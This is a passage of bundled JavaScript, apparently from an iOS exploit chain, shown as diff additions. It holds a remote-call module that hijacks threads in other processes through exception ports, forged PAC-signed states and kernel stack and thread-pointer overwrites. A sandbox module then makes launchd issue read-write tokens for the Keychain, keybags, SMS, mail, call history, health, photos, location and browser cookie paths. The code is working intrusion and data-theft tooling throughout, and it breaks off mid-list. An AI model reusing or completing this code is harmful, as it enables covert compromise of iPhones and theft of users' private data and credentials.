_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, this.#selfThreadCtid); + + if (!_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].resume(machThread)) + return false; + + //console.log(TAG, "Thread resume OK"); + + /* + let threadmem = Native.callSymbol("malloc",0x400); + Native.write64(threadmem + 0x100n, this.#dummyThreadMach); + Native.write64(threadmem + 0x108n, exceptionPort); + Native.callSymbol("usleep",100n); + Chain.threadSpawn(this.#exceptionThreadCFString, threadmem); + let timeout = 10000n; + if(largeTimeout) + timeout = 30000n; + Native.callSymbol("usleep",timeout); + let machThread = Native.read64(threadmem + 0x100n); + Native.callSymbol("free",threadmem); + let machThreadAddr = 0n; + if(machThread == this.#dummyThreadMach) + { + console.log(TAG,`remote thread didn't succeed, aborting`); + Thread.setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP + Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + // This will wake up setter + Native.callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, ExceptionPort , Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, BigInt(Utils.ARM_THREAD_STATE64)); + Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + return false; + } + else + machThreadAddr = Task.getPortKObject(machThread); + */ + + //Native.callSymbol("usleep",100n); + //kr = Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + //console.log(TAG, "thread_switch: " + kr); + //if (!machThreadAddr) + //{ + // console.log(TAG,`Unable to get machThreadAddr`); + //return false; + //} + //console.log(TAG, "Successfully switched to new mach thread"); + + //Native.callSymbol("sleep", 2); + //Native.callSymbol("usleep", 100000); + + //Native.callSymbol("sleep", 1); + + for (let i=0; i<10; i++) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 200000); + + let kstack = 0x0n; + //let retries = 0n; + //while (true && !kstack && retries < 100000n) + //{ + // //Native.callSymbol("usleep",100n); + // kstack = Thread.getStack(machThreadAddr); + // retries++; + //} + kstack = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getStack(machThreadAddr); + if (!kstack) + { + console.log(TAG,`Failed to get kstack. Retry...`); + continue; + } + //console.log(TAG,`kstack:${Utils.hex(kstack)}`); + // Waiting a bit longer to make sure pointer is valid + //Native.callSymbol("usleep",10000n); + //console.log(TAG,`Current mutex:${Utils.hex(Thread.getMutex(this.#dummyThreadAddr))}`); + //uwrite64(threadmem + 0x100n,0x0n); // instead of free + let kernelSPOffset = BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE * 12); + let kernelSP = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(kstack + kernelSPOffset); + if (!kernelSP) { + console.log(TAG, "Failed to get SP. Retry..."); + continue; + } + //console.log(TAG,`kernelSP:${Utils.hex(kernelSP)}`); + //Native.callSymbol("usleep",20000n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep",100n); + //let data = Native.callSymbol("malloc",0x1000n); + //console.log(TAG,`Before reading from page`); + let dataBuff = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].readBuff(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + 0x3000n, 0x1000); + if (!dataBuff) { + console.log(TAG, "Failed to read from kernel SP. Aborting..."); + break; + } + //console.log(TAG,`Second read finished succesfully`); + //Native.callSymbol("usleep",100n); + //let dataBuff = Native.read(data,0x1000); + //Native.callSymbol("free",data); + + //let troPointer = Native.mem; + let buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setBigUint64(0,this.#dummyThreadTro,true); + let found = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].memmem(dataBuff,buffer); + //console.log(TAG,`found:${Utils.hex(found)}`); + found = BigInt(found) + 0x3000n; + let correctTro = false; + let val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + found + 0x18n, val, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + val = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readPtr(val); + if(val == 0x1002) + correctTro = true; + else { + console.log(TAG, "Wrong tro. Retry..."); + continue; + } + //console.log(TAG,`Wrong tro, skipping this thread`); + if (found && correctTro) + { + //console.log(TAG,`Found TRO!`); + if(_Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTask(currThread) == this.#taskAddr) + { + let tro = _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].getTro(currThread); + //console.log(TAG,`tro:${Utils.hex(tro)}`); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write64(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(kernelSP) + BigInt(found), tro); + success = true; + break; + } + else + { + console.log(TAG,`got empty tro, skip writing`); + } + } + else + { + console.log(TAG, `didnt find tro for ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(currThread)}`); + } + } + + //console.log(TAG,`Injecting into:${Utils.hex(currThread)}`); + // Set LCK_MTX_NEEDS_WAKEUP so that setter would be woken up by the turnstile of the lock on next use. + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].setMutex(this.#dummyThreadAddr, 0x40000000); // LCK_MTX_NEEDS_WAKEUP + + //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + // This will wake up setter + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("thread_set_exception_ports", this.#dummyThreadMach, 0n, exceptionPort , libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].EXCEPTION_STATE | libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MACH_EXCEPTION_CODES, BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].ARM_THREAD_STATE64)); + //Native.callSymbol("thread_switch", machThread, SWITCH_OPTION_NONE, 0n); + //Native.callSymbol("usleep",40000n); + //console.log(TAG,`After second thread switch`); + //pthread_join(setExceptionThread, NULL); + //mpd_js_thread_join(th); + //free(data); + //console.log(TAG,`Finish injecting into:${Utils.hex(currThread)}`); + + if (migFilterBypass) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("usleep", 100000); + + return success; + } + + #doRemoteCallTemp( + timeout, + name, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); + //Calculate actual pc addr + let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); + // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive first exception on original thread`); + return 0n; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; + // Set the new state + let newState = exc.threadState; + newState.registers.set(0,x0); + newState.registers.set(1,x1); + newState.registers.set(2,x2); + newState.registers.set(3,x3); + newState.registers.set(4,x4); + newState.registers.set(5,x5); + newState.registers.set(6,x6); + newState.registers.set(7,x7); + newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojanCreator); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + exc.threadState.registers.set(0,x0); + + // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. + if (timeout < 0) + { + console.log(TAG,`Trojan thread cleanup`); + return 0n; + } + // Wait for the exception on LR corruption, so we can get return value of the call. + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive second exception on original thread`); + return 0n; + } + excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let retValue = exc.threadState.registers.get(0); + + // Corrupt again PC so we can control flow for the next call. + newState = exc.threadState; + // Can be therotical used one previous implementation doesn't set LR + //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + + return retValue; + } + + #doRemoteCallStable( + timeout, + name, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + if (!this.#creatingExtraThread) + return this.#doRemoteCallTemp(timeout, name, x0, x1, x2, x3, x4, x5, x6, x7); + + //Calculate actual pc addr + let pcAddr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].dlsym(name); + if (!pcAddr) { + console.log(TAG, "Unable to find symbol: " + name); + return 0n; + } + let newTimeout = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MAX(10000,timeout); + // First wait for the pending exception caused by previous state corruption, so we can the reply with a new state. + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive first exception on new thread`); + return 0n; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + this._lastLiveSP = exc.threadState.opaque_sp & 0x7fffffffffn; + // Set the new state + let newState = exc.threadState; + newState.registers.set(0,x0); + newState.registers.set(1,x1); + newState.registers.set(2,x2); + newState.registers.set(3,x3); + newState.registers.set(4,x4); + newState.registers.set(5,x5); + newState.registers.set(6,x6); + newState.registers.set(7,x7); + newState = this.#signState(this.#trojanThreadAddr, newState, pcAddr, fakeLRTrojan); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + exc.threadState.registers.set(0, x0); + + // Don't wait for a new exception if timeout is < 0. Eg, when doing cleanup of trojan thread. + if (timeout < 0) + { + console.log(TAG,`Trojan thread cleanup`); + return 0n; + } + // Wait for the exception on LR corruption, so we can get return value of the call. + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#secondExceptionPort, excBuffer, newTimeout, false)) + { + console.log(TAG,`Don't receive second exception on new thread`); + return 0n; + } + excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + let retValue = exc.threadState.registers.get(0); + + // Corrupt again PC so we can control flow for the next call. + newState = exc.threadState; + // Can be therotical used one previous implementation doesn't set LR + //signState(remoteCall->trojanThreadAddr, &newState, 0x101, 0); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, newState, false); + + return retValue; + } + + call( + timeout, + pc, + x0 = 0n, + x1 = 0n, + x2 = 0n, + x3 = 0n, + x4 = 0n, + x5 = 0n, + x6 = 0n, + x7 = 0n) + { + //console.log(TAG, `call(${Utils.hex(pc)}, ${Utils.hex(x0)}, ${Utils.hex(x1)}, ${Utils.hex(x2)}, ${Utils.hex(x3)})`); + return this.#doRemoteCallStable(timeout, pc, x0, x1, x2, x3, x4, x5, x6, x7); + } + + #restoreTrojanThread(state) + { + let excBuffer = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem; + if (!_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].waitException(this.#firstExceptionPort, excBuffer, 20000, false)) + { + console.log(TAG,`Failed to receive first exception while restoring`); + return false; + } + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(excBuffer,Number(_Exception__WEBPACK_IMPORTED_MODULE_5__["default"].ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_6__["default"](excRes); + state.opaque_flags = exc.threadState.opaque_flags; + state = this.#signState(this.#trojanThreadAddr, state,state.opaque_pc,state.opaque_lr); + _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].replyWithState(exc, state, false); + return true; + } + + destroy() + { + try { + for (let i = 0; i < this.#threadList.length; i++) + _Thread__WEBPACK_IMPORTED_MODULE_4__["default"].clearGuardException(this.#threadList[i]); + } catch (_) {} + if (this.#success) { + try { + this.#doRemoteCallStable(100, "munmap", this.#trojanMem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_SIZE); + } catch (_) {} + try { + if (this.#creatingExtraThread) + this.#doRemoteCallStable(-1, "pthread_exit"); + else + this.#restoreTrojanThread(this.#originalState); + } catch (_) {} + } + try { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#firstExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_port_destruct", 0x203, this.#secondExceptionPort, 0n, 0n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_cancel", this.#dummyThread); + } catch (_) {} + } + + read(src, dst, size) + { + if (!src || !dst || !size) + return false; + + dst = BigInt(dst); + src = BigInt(src); + size = BigInt(size); + + //console.log(TAG, `read(): src=${Utils.hex(src)}, dst=${Utils.hex(dst)}, size=${size}`); + let until = src + size; + while (src < until) + { + size = until - src; + let offs = src & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; + let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(src + 1n) - src, size); + let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(src); + + let remotePage = this.#getShmemForPage(pageAddr); + if (!remotePage) { + console.log(TAG, "read() failed: unable to find remote page"); + return false; + } + + //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, port=${Utils.hex(remotePage.port)}`); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", dst, remotePage.localAddress + offs, copyCount); + + src += copyCount; + dst += copyCount; + } + return true; + } + + write(dst, src, size) + { + if (!src || !dst || !size) + return false; + + dst = BigInt(dst); + src = BigInt(src); + size = BigInt(size); + + let until = dst + size; + + //console.log(TAG, `write(): dst=${Utils.hex(dst)}, src=${Utils.hex(src)}, size=${size}`); + + while (dst < until) + { + size = until - dst; + let offs = dst & libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].PAGE_MASK; + let copyCount = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].MIN(_Task__WEBPACK_IMPORTED_MODULE_3__["default"].round_page(dst + 1n) - dst, size); + let pageAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].trunc_page(dst); + + let remotePage = this.#getShmemForPage(pageAddr); + if (!remotePage) { + console.log(TAG, "write() failed: unable to find remote page"); + return false; + } + + //console.log(TAG,`remotePage: remote=${Utils.hex(remotePage.remoteAddress)}, local=${Utils.hex(remotePage.localAddress)}, offs=${offs}, length=${copyCount}, port=${Utils.hex(remotePage.port)}`); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("memcpy", remotePage.localAddress + offs, src, copyCount); + + dst += copyCount; + src += copyCount; + } + return true; + } + + writeStr(dst, str) + { + if (!str) + return false; + //return this.write(dst, Native.getCString(str), str.length + 1); + let mem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("malloc", str.length + 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].writeString(mem, str); + const ret = this.write(dst, mem, str.length + 1); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("free", mem); + return ret; + } + + read64(src) + { + if (!this.read(src, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE)) + return false; + const buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + const view = new DataView(buff); + return view.getBigUint64(0, true); + } + + write64(dst, val) + { + const buff = new ArrayBuffer(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + const view = new DataView(buff); + view.setBigUint64(0, val, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, buff); + return this.write(dst, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].UINT64_SIZE); + } + + mem() + { + return this.#trojanMem; + } + + lastLiveSP() + { + return this._lastLiveSP || 0n; + } + + pac(address,modifier) + { + return _PAC__WEBPACK_IMPORTED_MODULE_8__["default"].remotePAC(this.#trojanThreadAddr, address, modifier); + } + + insertRight(port, right) + { + //console.log(TAG, "Insert right: " + Utils.hex(port)); + + const MACH_MSG_TYPE_COPY_SEND = 19; + + let msgBuff = new ArrayBuffer(24); + let msg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](msgBuff); + msg.msgh_id = 0x4141; + msg.msgh_remote_port = this.#localPort; + msg.msgh_local_port = port; + msg.msgh_size = 24; + msg.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, right); + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_msg_send", libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); + console.log(TAG, "insertRight: error while sending message: " + errString); + return 0; + } + + //TODO receive in remote task + msg.msgh_size = 0x100; + msg.msgh_local_port = this.#remotePort; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, msgBuff); + this.write(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem, 24); + + ret = this.#doRemoteCallStable(100, "mach_msg_receive", this.#trojanMem); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].readString(errString); + console.log(TAG, "insertRight: error while receiving message: " + errString); + return 0; + } + + this.read(this.#trojanMem, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); + let recvBuff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem + 0x100n, 24); + let recvMsg = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_11__["default"](recvBuff); + //console.log(TAG, "Recv msg id: " + Utils.hex(recvMsg.msgh_id)); + //console.log(TAG, "Recv remote port: " + Utils.hex(recvMsg.msgh_remote_port)); + + ret = this.#doRemoteCallStable(100, "fileport_makefd", recvMsg.msgh_remote_port); + if (ret < 0) { + console.log(TAG, "insertRight: error with fileport_makefd"); + return 0; + } + //console.log(TAG, "Remote fileport_makefd: " + ret); + + return ret; + } + + #putShmemInCache(shmem) + { + for (let i=0; i { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Sandbox) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/FileUtils */ "./src/libs/JSUtils/FileUtils.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); +/* harmony import */ var _RemoteCall__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const TAG = "SANDBOX"; + +class Sandbox { + + static #launchdTask = null; + static #PathDictionary = { + // Communications + "/private/var/mobile/Library/AddressBook/":0, + "/private/var/mobile/Library/CallHistoryDB/":0, + "/private/var/mobile/Library/DoNotDisturb/":0, + "/private/var/mobile/Library/SMS/":0, + "/private/var/mobile/Library/Calendar/":0, + "/private/var/mobile/Library/Mail/":0, + "/private/var/mobile/Library/Voicemail/":0, + "/var/mobile/Library/Recordings":0, + + // Location + "/private/var/root/Library/Caches/locationd":0, + "/private/var/root/Library/Caches/locationd/":0, + "/private/var/mobile/Library/Caches/locationd/":0, + "/private/var/mobile/Library/Caches/com.apple.routined/":0, + + // Browser & Cookies + "/private/var/mobile/Library/Safari/":0, + "/private/var/mobile/Library/Cookies/":0, + "/private/var/mobile/Cookies/":0, + + // Credentials & WiFi + "/private/var/Keychains/":0, + "/var/Keychains/":0, + "/private/var/keybags/":0, + "/var/keybags/":0, + "/private/var/keybags/systembag.kb":0, + "/private/var/keybags/persona.kb":0, + "/private/var/keybags/usersession.kb":0, + "/private/var/keybags/backup/":0, + "/var/keybags/":0, + "/var/keybags/systembag.kb":0, + "/var/keybags/persona.kb":0, + "/var/keybags/usersession.kb":0, + "/var/keybags/backup/":0, + "/var/keybags/backup/backup_keys_cache.sqlite":0, + "/private/var/preferences/com.apple.wifi.known-networks.plist":0, + "/private/var/preferences/SystemConfiguration/":0, + "/private/var/preferences/SystemConfiguration/preferences.plist":0, + "/private/var/preferences/SystemConfiguration/com.apple.wifi.plist":0, + "/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist":0, + "/private/var/networkd/db/":0, + "/var/wireless/":0, + "/private/var/wireless/":0, + "/var/wireless/Library/":0, + "/var/wireless/Library/Caches/":0, + "/var/wireless/Library/Preferences/":0, + "/var/wireless/Library/Databases/":0, + "/var/wireless/Library/ControlCenter/":0, + "/private/var/wireless/Library/":0, + "/private/var/wireless/Library/Preferences/":0, + "/private/var/wireless/Library/Databases/":0, + "/private/var/wireless/Library/ControlCenter/":0, + "/private/var/mobile/Library/CoreDuet/":0, + "/private/var/mobile/Library/CoreDuet/People/":0, + "/private/var/mobile/Library/PersonalizationPortrait/":0, + "/var/log/":0, + "/private/var/log/":0, + "/var/db/":0, + "/private/var/db/":0, + "/var/run/":0, + "/private/var/run/":0, + + // Personal Data + "/private/var/mobile/Library/Notes/":0, + "/private/var/mobile/Library/Health/":0, + "/private/var/mobile/Media/":0, + "/private/var/mobile/Media/PhotoData/":0, + "/private/var/mobile/Media/DCIM/":0, + "/var/mobile/Media/":0, + "/var/mobile/Media/PhotoData/":0, + "/var/mobile/Media/DCIM/":0, + + // Device Info + "/private/var/root/Library/Lockdown/":0, + "/private/var/mobile/Library/Preferences/":0, + "/private/var/mobile/Library/Preferences/com.apple.commcenter.shared.plist":0, + "/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist":0, + + // Accounts + "/private/var/mobile/Library/Accounts/":0, + + // Protected & Trust + "/private/var/protected/trustd/private/":0, + "/private/var/protected/trustd/private":0, + + // System & Apps + "/bin/":0, + "/Applications/":0, + "/private/var/containers/Bundle/Application/":0, + "/var/containers/Bundle/Application/":0, + "/private/var/containers/Shared/SystemGroup/":0, + "/private/var/mobile/Containers/Data/Application/":0, + "/var/mobile/Containers/Data/Application/":0, + "/private/var/mobile/Containers/Shared/AppGroup/":0, + + // Notifications & Logs + "/private/var/mobile/Library/UserNotificationsUI/NotificationListPersistentState.json":0, + "/private/var/mobile/Library/UserNotifications/":0, + "/private/var/mobile/Library/Logs/CrashReporter/":0, + "/private/var/mobile/Library/ExternalAccessory":0, + "/private/var/mobile/Library/Shortcuts/":0, + + // Temp directory for file operations + "/private/var/tmp/":0, + "/tmp/":0 + /* not allowed via launchd + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db":0, + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-wal":0, + "/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db-shm":0 + */ + }; + + static initWithLaunchdTask(launchdTask) { + this.#launchdTask = launchdTask; + } + + static getTokenForPath(path, consume=false) + { + + if (!this.#launchdTask || !this.#launchdTask.success()) + return; + + //console.log(TAG,`Creating token for path:${path}`); + let memRemote = this.#launchdTask.mem(); + let pathRemote = memRemote; + this.#launchdTask.writeStr(pathRemote,path); + let appSandboxReadExt = "com.apple.app-sandbox.read-write"; + let sandboxExtensionEntry = memRemote + 0x100n; + this.#launchdTask.writeStr(sandboxExtensionEntry,appSandboxReadExt); + let tokenRemote = this.#launchdTask.call(100, "sandbox_extension_issue_file",sandboxExtensionEntry,pathRemote,0n,0n); + if (!tokenRemote) { + console.log(TAG, "Unable to create token for: " + path); + return null; + } + //console.log(TAG,`token:${Utils.hex(tokenRemote)}`); + let token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; + this.#launchdTask.read(tokenRemote,token,512n); + if(consume) + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",token); + token = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].readString(token,512); + //console.log(TAG,`token:${token}`); + if(!token || !token.includes("com.apple.app-sandbox.read-write")) + { + console.log(TAG,`Found weird token:${token}, not registering`); + return null; + } + return token; + } + + static createTokens() + { + // 18.6.1+ → iOS18nui full token path (slim issue+consume+usleep reboots A14/18.6.2). + // 18.6.0 → keep lab slim (historically safer on some A13). + function __tokIosPat() { + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"]; + var sizePtr = N.callSymbol("calloc", 1, 8); + if (!sizePtr || sizePtr === 0n) return -1; + var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0)); + if (rc !== 0) { N.callSymbol("free", sizePtr); return -1; } + var sz = Number(N.readPtr(BigInt(sizePtr))); + if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return -1; } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return -1; } + N.write64(sizePtr, BigInt(sz + 1)); + rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0)); + var s = ""; + if (rc === 0) { try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) {} } + N.callSymbol("free", buf); + N.callSymbol("free", sizePtr); + var m = String(s).match(/^18\.6(?:\.(\d+))?/); + if (!m) return -1; + return m[1] ? (parseInt(m[1], 10) || 0) : 0; + } catch (_e) { return -1; } + } + var __pat = __tokIosPat(); + var __useNuiTok = (__pat >= 1); + console.log(TAG, "Create tokens mode=" + (__useNuiTok ? "nui-full" : "lab-slim") + " iosPat=" + __pat); + + if (!__useNuiTok) { + // Lab slim: launchd temp-RemoteCall dies on A13 if we issue 200+ sandbox tokens. + console.log(TAG, "Create tokens (lab slim)..."); + const slim = [ + "/private/var/Keychains/", + "/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/var/Keychains/keychain-2.db", + "/var/Keychains/keychain-2.db-wal", + "/var/Keychains/keychain-2.db-shm", + "/private/var/Keychains/System.keybag", + 